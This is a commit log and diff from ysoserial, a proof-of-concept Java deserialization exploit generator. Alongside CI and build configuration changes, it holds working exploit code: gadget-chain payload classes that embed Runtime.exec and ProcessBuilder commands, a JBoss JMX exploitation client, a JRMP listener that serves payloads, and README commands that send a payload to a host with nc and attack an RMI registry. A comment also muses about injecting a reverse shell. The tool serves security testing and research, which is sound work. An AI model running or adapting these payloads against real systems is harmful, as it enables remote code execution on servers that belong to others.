18 Commits
Author SHA1 Message Date
Chris Frohoff 31a706dba2 fix M2_HOME 2018-03-20 16:37:00 -07:00
Chris Frohoff 2e7181780b appveyor cfg for jdk 6/9 2018-03-20 16:35:26 -07:00
Chris Frohoff b617b7badd Merge pull request #73 from frohoff/doc-updates
doc updates
2017-09-23 16:05:37 -04:00
Chris Frohoff b4d4d580a5 fixed payload authors, removed versions from jar names, added marshalsec/ysoserial.net links 2017-09-23 16:00:16 -04:00
Chris Frohoff 1f2e7bf08e fix badge 2017-09-07 22:50:31 -07:00
Chris Frohoff 2b10caa99b readme badge updates 2017-09-07 22:48:33 -07:00
Chris Frohoff e2110861a2 travis/appveyor config changes 2017-09-07 22:40:54 -07:00
Chris Frohoff 02b32407d9 appveyor.yml 2017-09-07 22:25:22 -07:00
Chris Frohoff 3f352eacc6 bumping up wait time 2017-09-07 21:41:14 -07:00
Chris Frohoff 73c5d1dbd4 cache maven repo in travis builds 2017-09-07 21:07:39 -07:00
Chris Frohoff c01dc9cf40 ignore internal api compile warnings 2017-09-07 20:22:11 -07:00
Chris Frohoff 5d5fdc458b disable stack trace trimming in surefire 2017-09-07 19:47:58 -07:00
Chris Frohoff 52383a180d docker support 2017-09-05 10:05:27 -07:00
Chris Frohoff 80b0d2f368 fixed broken tests 2017-09-03 23:40:17 -07:00
Chris Frohoff 8a330853c6 test/author fixes 2017-09-03 11:19:05 -07:00
Chris Frohoff fa0ba6031c Merge pull request #55 from SkylarWatson/file_upload_test
Updated payload args in FileUploadTest to match what production code …
2017-09-03 10:32:46 -07:00
Chris Frohoff fb1e65e5f2 0.0.6 snapshot 2017-09-02 21:07:43 -07:00
Skylar 8ad9b583a6 Updated payload args in FileUploadTest to match what production code is looking for; Added Intellij project files to .gitignore 2016-08-14 19:52:32 -05:00
29 changed files with 403 additions and 201 deletions
+10 -1
View File
@@ -1,5 +1,10 @@
dist: trusty dist: trusty
language: java language: java
cache:
directories:
- $HOME/.m2
# Travis CI provides OpenJDK 6, OpenJDK 7, Oracle JDK 7, and Oracle JDK 8. # Travis CI provides OpenJDK 6, OpenJDK 7, Oracle JDK 7, and Oracle JDK 8.
# Sun JDK 6 is not provided, because it is EOL as of November 2012. # Sun JDK 6 is not provided, because it is EOL as of November 2012.
# OpenJDK 8 is available on our Trusty images, specify dist: trusty to make use of it. # OpenJDK 8 is available on our Trusty images, specify dist: trusty to make use of it.
@@ -8,4 +13,8 @@ jdk:
#- oraclejdk7 #https://github.com/travis-ci/travis-ci/issues/7884 #- oraclejdk7 #https://github.com/travis-ci/travis-ci/issues/7884
- openjdk8 - openjdk8
- openjdk7 - openjdk7
#- openjdk6 #https://github.com/travis-ci/travis-ci/issues/8199 #- openjdk6 #https://github.com/travis-ci/travis-ci/issues/8199
matrix:
allow_failures:
- jdk: openjdk7
+22
View File
@@ -0,0 +1,22 @@
FROM maven:3.5-jdk-8 as builder
WORKDIR /app
# download artifacts
COPY pom.xml .
RUN mvn dependency:resolve
RUN mvn verify
RUN mvn compiler:help
# build
COPY src ./src
RUN mvn clean package -DskipTests
RUN mv target/ysoserial-*all*.jar target/ysoserial.jar
FROM java:8-jdk-alpine
WORKDIR /app
COPY --from=builder /app/target/ysoserial.jar .
ENTRYPOINT ["java", "-jar", "ysoserial.jar"]
+15 -10
View File
@@ -6,6 +6,8 @@
https://gitter.im/frohoff/ysoserial?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge) https://gitter.im/frohoff/ysoserial?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
[![Download Latest Snapshot](https://img.shields.io/badge/download-master--SNAPSHOT-green.svg)]( [![Download Latest Snapshot](https://img.shields.io/badge/download-master--SNAPSHOT-green.svg)](
https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar) https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)
[![Travis Build Status](https://api.travis-ci.org/frohoff/ysoserial.svg?branch=master)](https://travis-ci.org/frohoff/ysoserial)
[![Appveyor Build status](https://ci.appveyor.com/api/projects/status/a8tbk9blgr3yut4g/branch/master?svg=true)](https://ci.appveyor.com/project/frohoff/ysoserial/branch/master)
A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
@@ -39,9 +41,9 @@ are not responsible or liable for misuse of the software. Use responsibly.
## Usage ## Usage
```shell ```shell
$ java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar $ java -jar ysoserial.jar
Y SO SERIAL? Y SO SERIAL?
Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]' Usage: java -jar ysoserial.jar [payload] '[command]'
Available payload types: Available payload types:
Payload Authors Dependencies Payload Authors Dependencies
------- ------- ------------ ------- ------- ------------
@@ -53,7 +55,7 @@ Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
CommonsCollections2 @frohoff commons-collections4:4.0 CommonsCollections2 @frohoff commons-collections4:4.0
CommonsCollections3 @frohoff commons-collections:3.1 CommonsCollections3 @frohoff commons-collections:3.1
CommonsCollections4 @frohoff commons-collections4:4.0 CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @frohoff commons-collections:3.1 CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1 CommonsCollections6 @matthias_kaiser commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4 FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
Groovy1 @frohoff groovy:2.3.9 Groovy1 @frohoff groovy:2.3.9
@@ -66,20 +68,20 @@ Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21 @frohoff Jdk7u21 @frohoff
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2 Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @mbechler js:1.7R2 MozillaRhino1 @matthias_kaiser js:1.7R2
Myfaces1 @mbechler Myfaces1 @mbechler
Myfaces2 @mbechler Myfaces2 @mbechler
ROME @mbechler rome:1.0 ROME @mbechler rome:1.0
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS @gebl URLDNS @gebl
Wicket1 @jacob-baines wicket-util:6.23 Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
``` ```
## Examples ## Examples
```shell ```shell
$ java -jar ysoserial-0.0.4-all.jar CommonsCollections1 calc.exe | xxd $ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl 0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A 0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat 0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat
@@ -88,10 +90,10 @@ $ java -jar ysoserial-0.0.4-all.jar CommonsCollections1 calc.exe | xxd
0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride.......... 0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride..........
0000570: 0078 7071 007e 003a .xpq.~.: 0000570: 0078 7071 007e 003a .xpq.~.:
$ java -jar ysoserial-0.0.4-all.jar Groovy1 calc.exe > groovypayload.bin $ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 1099 < groovypayload.bin $ nc 10.10.10.10 1099 < groovypayload.bin
$ java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe $ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe
``` ```
## Installation ## Installation
@@ -114,6 +116,7 @@ Requires Java 1.7+ and Maven 3.x+
## Code Status ## Code Status
[![Build Status](https://travis-ci.org/frohoff/ysoserial.svg?branch=master)](https://travis-ci.org/frohoff/ysoserial) [![Build Status](https://travis-ci.org/frohoff/ysoserial.svg?branch=master)](https://travis-ci.org/frohoff/ysoserial)
[![Build status](https://ci.appveyor.com/api/projects/status/a8tbk9blgr3yut4g/branch/master?svg=true)](https://ci.appveyor.com/project/frohoff/ysoserial/branch/master)
## Contributing ## Contributing
@@ -123,5 +126,7 @@ Requires Java 1.7+ and Maven 3.x+
4. Push to the branch (`git push origin my-new-feature`) 4. Push to the branch (`git push origin my-new-feature`)
5. Create new Pull Request 5. Create new Pull Request
## Additional Reading ## See Also
* https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet * [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet): info on vulnerabilities, tools, blogs/write-ups, etc.
* [marshalsec](https://github.com/frohoff/marshalsec): similar project for various Java deserialization formats/libraries
* [ysoserial.net](https://github.com/pwntester/ysoserial.net): similar project for .NET deserialization
+53
View File
@@ -0,0 +1,53 @@
# based on https://github.com/GoogleCloudPlatform/google-cloud-java/blob/master/appveyor.yml
# and http://www.yegor256.com/2015/01/10/windows-appveyor-maven.html
# build version
version: '{build}'
# Do not build on tags
skip_tags: true
# enviroment settings
environment:
matrix:
- JAVA_HOME: C:\Program Files\Java\jdk1.6.0
- JAVA_HOME: C:\Program Files\Java\jdk1.7.0
- JAVA_HOME: C:\Program Files\Java\jdk1.8.0
- JAVA_HOME: C:\Program Files\Java\jdk9
matrix:
allow_failures:
- JAVA_HOME: C:\Program Files\Java\jdk1.6.0
- JAVA_HOME: C:\Program Files\Java\jdk1.7.0
- JAVA_HOME: C:\Program Files\Java\jdk9
# install jdk6 compatible maven
install:
- ps: |
Add-Type -AssemblyName System.IO.Compression.FileSystem
if (!(Test-Path -Path "C:\maven" )) {
(new-object System.Net.WebClient).DownloadFile(
'http://www.us.apache.org/dist/maven/maven-3/3.2.5/binaries/apache-maven-3.2.5-bin.zip',
'C:\maven-bin.zip'
)
[System.IO.Compression.ZipFile]::ExtractToDirectory("C:\maven-bin.zip", "C:\maven")
}
- cmd: SET PATH=C:\maven\apache-maven-3.2.5\bin;%JAVA_HOME%\bin;%PATH%
- cmd: SET M2_HOME=C:\maven\apache-maven-3.2.5\
- cmd: echo %PATH%
- cmd: echo %JAVA_HOME%
- cmd: echo %M2_HOME%
- cmd: mvn -v
# build and install artifacts
build_script:
- mvn clean install -DskipTests
# verify artifacts
test_script:
- mvn test
# preserve dependencies between builds
cache:
- C:\maven
- C:\Users\appveyor\.m2
+10 -5
View File
@@ -4,7 +4,7 @@
<groupId>ysoserial</groupId> <groupId>ysoserial</groupId>
<artifactId>ysoserial</artifactId> <artifactId>ysoserial</artifactId>
<version>0.0.5</version> <version>0.0.6-SNAPSHOT</version>
<packaging>jar</packaging> <packaging>jar</packaging>
<name>ysoserial</name> <name>ysoserial</name>
@@ -19,11 +19,15 @@
<plugin> <plugin>
<groupId>org.apache.maven.plugins</groupId> <groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId> <artifactId>maven-compiler-plugin</artifactId>
<version>3.2</version> <version>3.5.1</version>
<configuration> <configuration>
<source>1.5</source> <!-- maximize compatibility -->
<target>1.5</target><!-- maximize compatibility --> <source>1.6</source>
</configuration> <target>1.6</target>
<!-- ignore noisy internal api warnings -->
<compilerArgument>-XDignore.symbol.file</compilerArgument>
<fork>true</fork>
</configuration>
</plugin> </plugin>
<plugin> <plugin>
<artifactId>maven-assembly-plugin</artifactId> <artifactId>maven-assembly-plugin</artifactId>
@@ -54,6 +58,7 @@
<artifactId>maven-surefire-plugin</artifactId> <artifactId>maven-surefire-plugin</artifactId>
<version>2.20</version> <version>2.20</version>
<configuration> <configuration>
<trimStackTrace>false</trimStackTrace>
<systemPropertyVariables> <systemPropertyVariables>
<java.rmi.server.useCodebaseOnly>false</java.rmi.server.useCodebaseOnly> <java.rmi.server.useCodebaseOnly>false</java.rmi.server.useCodebaseOnly>
</systemPropertyVariables> </systemPropertyVariables>
+14 -13
View File
@@ -67,28 +67,28 @@ import ysoserial.payloads.ObjectPayload.Utils;
/** /**
* *
* An exploitation client for JBoss AS/Wildfly JMX * An exploitation client for JBoss AS/Wildfly JMX
* *
* JBoss is using a custom tunneled protocol for JMX, this is a client for this protocol. * JBoss is using a custom tunneled protocol for JMX, this is a client for this protocol.
* *
* This is not as readily exploitable as in other pieces of software: * This is not as readily exploitable as in other pieces of software:
* 1. they only allow authenticated access by default * 1. they only allow authenticated access by default
* 2. they have a very strict module architecture: * 2. they have a very strict module architecture:
* - all MBeans exported by default use classloaders that expose almost nothing useful * - all MBeans exported by default use classloaders that expose almost nothing useful
* - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like * - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
* *
* This client enumerates all application exported MBean method which are then called * This client enumerates all application exported MBean method which are then called
* delivering the specified payload. * delivering the specified payload.
* *
* I.e. you can succesfully exploit that * I.e. you can succesfully exploit that
* - you have access to the interface * - you have access to the interface
* (username/password can be specified via URL, note: despite not noticeable, * (username/password can be specified via URL, note: despite not noticeable,
* local connections implicitely use authentication) * local connections implicitely use authentication)
* - there is an application exported MBean * - there is an application exported MBean
* - that application imports the classes required for the gadget chain * - that application imports the classes required for the gadget chain
* *
* @author mbechler * @author mbechler
* *
*/ */
@@ -98,7 +98,7 @@ import ysoserial.payloads.ObjectPayload.Utils;
public class JBoss { public class JBoss {
public static void main ( String[] args ) { public static void main ( String[] args ) {
if ( args.length < 3 ) { if ( args.length < 3 ) {
System.err.println("Usage " + JBoss.class.getName() + " <uri> <payload> <payload_arg>"); System.err.println("Usage " + JBoss.class.getName() + " <uri> <payload> <payload_arg>");
System.exit(-1); System.exit(-1);
@@ -107,7 +107,7 @@ public class JBoss {
URI u = URI.create(args[ 0 ]); URI u = URI.create(args[ 0 ]);
final Object payloadObject = Utils.makePayloadObject(args[1], args[2]); final Object payloadObject = Utils.makePayloadObject(args[1], args[2]);
String username = null; String username = null;
String password = null; String password = null;
if ( u.getUserInfo() != null ) { if ( u.getUserInfo() != null ) {
@@ -315,7 +315,7 @@ public class JBoss {
} }
} }
private static final class ConsoleLogHandler extends Handler { private static final class ConsoleLogHandler extends Handler {
@@ -335,6 +335,7 @@ public class JBoss {
public void close () throws SecurityException {} public void close () throws SecurityException {}
} }
@SuppressWarnings({"deprecation"})
private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext { private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext {
private ConnectionProviderContextImpl context; private ConnectionProviderContextImpl context;
@@ -35,10 +35,10 @@ import ysoserial.payloads.util.Reflections;
/** /**
* Generic JRMP listener * Generic JRMP listener
* *
* Opens up an JRMP listener that will deliver the specified payload to any * Opens up an JRMP listener that will deliver the specified payload to any
* client connecting to it and making a call. * client connecting to it and making a call.
* *
* @author mbechler * @author mbechler
* *
*/ */
@@ -61,7 +61,7 @@ public class JRMPListener implements Runnable {
this.payloadObject = payloadObject; this.payloadObject = payloadObject;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
} }
public JRMPListener (int port, String className, URL classpathUrl) throws IOException { public JRMPListener (int port, String className, URL classpathUrl) throws IOException {
this.port = port; this.port = port;
this.payloadObject = makeDummyObject(className); this.payloadObject = makeDummyObject(className);
@@ -88,7 +88,7 @@ public class JRMPListener implements Runnable {
/** /**
* *
*/ */
public void close () { public void close () {
this.exit = true; this.exit = true;
@@ -265,13 +265,13 @@ public class JRMPListener implements Runnable {
throw new MarshalException("unable to read objID", e); throw new MarshalException("unable to read objID", e);
} }
if ( read.hashCode() == 2 ) { if ( read.hashCode() == 2 ) {
ois.readInt(); // method ois.readInt(); // method
ois.readLong(); // hash ois.readLong(); // hash
System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject())); System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject()));
} }
System.err.println("Sending return with payload for obj " + read); System.err.println("Sending return with payload for obj " + read);
out.writeByte(TransportConstants.Return);// transport op out.writeByte(TransportConstants.Return);// transport op
@@ -293,6 +293,7 @@ public class JRMPListener implements Runnable {
} }
} }
@SuppressWarnings({"deprecation"})
protected static Object makeDummyObject (String className) { protected static Object makeDummyObject (String className) {
try { try {
ClassLoader isolation = new ClassLoader() {}; ClassLoader isolation = new ClassLoader() {};
@@ -307,10 +308,10 @@ public class JRMPListener implements Runnable {
return new byte[0]; return new byte[0];
} }
} }
public static class Dummy implements Serializable { public static class Dummy implements Serializable {
private static final long serialVersionUID = 1L; private static final long serialVersionUID = 1L;
} }
} }
@@ -35,7 +35,7 @@ public class RMIRegistryExploit {
public static void exploit(final Registry registry, public static void exploit(final Registry registry,
final Class<? extends ObjectPayload> payloadClass, final Class<? extends ObjectPayload> payloadClass,
final String command) throws Exception { final String command) throws Exception {
new ExecCheckingSecurityManager().wrap(new Callable<Void>(){public Void call() throws Exception { new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
ObjectPayload payloadObj = payloadClass.newInstance(); ObjectPayload payloadObj = payloadClass.newInstance();
Object payload = payloadObj.getObject(command); Object payload = payloadObj.getObject(command);
String name = "pwned" + System.nanoTime(); String name = "pwned" + System.nanoTime();
@@ -5,9 +5,11 @@ import bsh.XThis;
import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy; import java.lang.reflect.Proxy;
import java.util.Arrays;
import java.util.Comparator; import java.util.Comparator;
import java.util.PriorityQueue; import java.util.PriorityQueue;
import ysoserial.Strings;
import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.util.Reflections; import ysoserial.payloads.util.Reflections;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
@@ -24,7 +26,13 @@ public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQ
public PriorityQueue getObject(String command) throws Exception { public PriorityQueue getObject(String command) throws Exception {
// BeanShell payload // BeanShell payload
String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{\"" + command + "\"}).start();return new Integer(1);}";
String payload =
"compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
Strings.join( // does not support spaces in quotes
Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
",", "\"", "\"") +
"}).start();return new Integer(1);}";
// Create Interpreter // Create Interpreter
Interpreter i = new Interpreter(); Interpreter i = new Interpreter();
+20 -10
View File
@@ -2,10 +2,12 @@ package ysoserial.payloads;
import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a; import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a;
import clojure.lang.PersistentArrayMap; import clojure.lang.PersistentArrayMap;
import ysoserial.Strings;
import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
import java.util.Arrays;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
@@ -28,18 +30,26 @@ public class Clojure extends PayloadRunner implements ObjectPayload<Map<?, ?>> {
public Map<?, ?> getObject(final String command) throws Exception { public Map<?, ?> getObject(final String command) throws Exception {
final String[] execArgs = command.split(" "); // final String[] execArgs = command.split(" ");
final StringBuilder commandArgs = new StringBuilder(); // final StringBuilder commandArgs = new StringBuilder();
for (String arg : execArgs) { // for (String arg : execArgs) {
commandArgs.append("\" \""); // commandArgs.append("\" \"");
commandArgs.append(arg); // commandArgs.append(arg);
} // }
commandArgs.append("\""); // commandArgs.append("\"");
final String clojurePayload =
String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", commandArgs.substring(2));
Map<String, Object> fnMap = new HashMap<String, Object>(); // final String clojurePayload =
// String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", commandArgs.substring(2));
String cmd = Strings.join(Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\").split(" ")), " ", "\"", "\"");
final String clojurePayload =
String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", cmd);
Map<String, Object> fnMap = new HashMap<String, Object>();
fnMap.put("hashCode", new clojure.core$constantly().invoke(0)); fnMap.put("hashCode", new clojure.core$constantly().invoke(0));
AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a(); AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a();
@@ -18,6 +18,7 @@ import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections; import ysoserial.payloads.util.Reflections;
@@ -43,10 +44,16 @@ import ysoserial.payloads.util.Reflections;
Requires: Requires:
commons-collections commons-collections
*/ */
@PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()") /*
This only works in JDK 8u76 and WITHOUT a security manager
https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
*/
//@PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()")
@SuppressWarnings({"rawtypes", "unchecked"}) @SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"}) @Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF }) @Authors({ Authors.MATTHIASKAISER, Authors.JASINNER })
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> { public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
public BadAttributeValueExpException getObject(final String command) throws Exception { public BadAttributeValueExpException getObject(final String command) throws Exception {
@@ -86,4 +93,9 @@ public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<
public static void main(final String[] args) throws Exception { public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections5.class, args); PayloadRunner.run(CommonsCollections5.class, args);
} }
public static boolean isApplicableJavaVersion() {
return JavaVersion.isBadAttrValExcReadObj();
}
} }
@@ -4,7 +4,9 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.mozilla.javascript.*; import org.mozilla.javascript.*;
import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
import javax.management.BadAttributeValueExpException; import javax.management.BadAttributeValueExpException;
@@ -16,8 +18,9 @@ import java.lang.reflect.Method;
by @matthias_kaiser by @matthias_kaiser
*/ */
@SuppressWarnings({"rawtypes", "unchecked"}) @SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest( precondition = "isApplicableJavaVersion")
@Dependencies({"rhino:js:1.7R2"}) @Dependencies({"rhino:js:1.7R2"})
@Authors({ Authors.MBECHLER }) @Authors({ Authors.MATTHIASKAISER })
public class MozillaRhino1 implements ObjectPayload<Object> { public class MozillaRhino1 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception { public Object getObject(final String command) throws Exception {
@@ -65,4 +68,9 @@ public class MozillaRhino1 implements ObjectPayload<Object> {
public static void main(final String[] args) throws Exception { public static void main(final String[] args) throws Exception {
PayloadRunner.run(MozillaRhino1.class, args); PayloadRunner.run(MozillaRhino1.class, args);
} }
public static boolean isApplicableJavaVersion() {
return JavaVersion.isBadAttrValExcReadObj();
}
} }
@@ -9,6 +9,7 @@ import java.net.URL;
import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections; import ysoserial.payloads.util.Reflections;
@@ -40,6 +41,7 @@ import ysoserial.payloads.util.Reflections;
* *
*/ */
@SuppressWarnings({ "rawtypes", "unchecked" }) @SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies() @Dependencies()
@Authors({ Authors.GEBL }) @Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> { public class URLDNS implements ObjectPayload<Object> {
@@ -13,6 +13,7 @@ import org.apache.wicket.util.io.ThresholdingOutputStream;
import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections; import ysoserial.payloads.util.Reflections;
@@ -45,7 +46,8 @@ import ysoserial.payloads.util.Reflections;
* $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp * $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp
* blue lobster * blue lobster
*/ */
@Dependencies({"wicket-util:wicket-util:6.23"}) @PayloadTest(harness = "ysoserial.payloads.FileUploadTest")
@Dependencies({"org.apache.wicket:wicket-util:6.23.0", "org.slf4j:slf4j-api:1.6.4"})
@Authors({ Authors.JACOBAINES }) @Authors({ Authors.JACOBAINES })
public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> { public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {
@@ -17,6 +17,7 @@ public @interface Authors {
String MATTHIASKAISER = "matthias_kaiser"; String MATTHIASKAISER = "matthias_kaiser";
String GEBL = "gebl" ; String GEBL = "gebl" ;
String JACOBAINES = "jacob-baines"; String JACOBAINES = "jacob-baines";
String JASINNER = "jasinner";
String[] value() default {}; String[] value() default {};
@@ -36,7 +36,7 @@ public class Gadgets {
static { static {
// special case for using TemplatesImpl gadgets with a SecurityManager enabled // special case for using TemplatesImpl gadgets with a SecurityManager enabled
System.setProperty(DESERIALIZE_TRANSLET, "true"); System.setProperty(DESERIALIZE_TRANSLET, "true");
// for RMI remote loading // for RMI remote loading
System.setProperty("java.rmi.server.useCodebaseOnly", "false"); System.setProperty("java.rmi.server.useCodebaseOnly", "false");
} }
@@ -113,7 +113,10 @@ public class Gadgets {
final CtClass clazz = pool.get(StubTransletPayload.class.getName()); final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer // run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");"); String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime()); clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName()); CtClass superC = pool.get(abstTranslet.getName());
@@ -7,13 +7,13 @@ package ysoserial.payloads.util;
*/ */
public class JavaVersion { public class JavaVersion {
public int major; public int major;
public int minor; public int minor;
public int update; public int update;
public static JavaVersion getLocalVersion() { public static JavaVersion getLocalVersion() {
String property = System.getProperties().getProperty("java.version"); String property = System.getProperties().getProperty("java.version");
if ( property == null ) { if ( property == null ) {
@@ -26,11 +26,16 @@ public class JavaVersion {
v.update = Integer.parseInt(parts[3]); v.update = Integer.parseInt(parts[3]);
return v; return v;
} }
public static boolean isAnnInvHUniversalMethodImpl() { public static boolean isAnnInvHUniversalMethodImpl() {
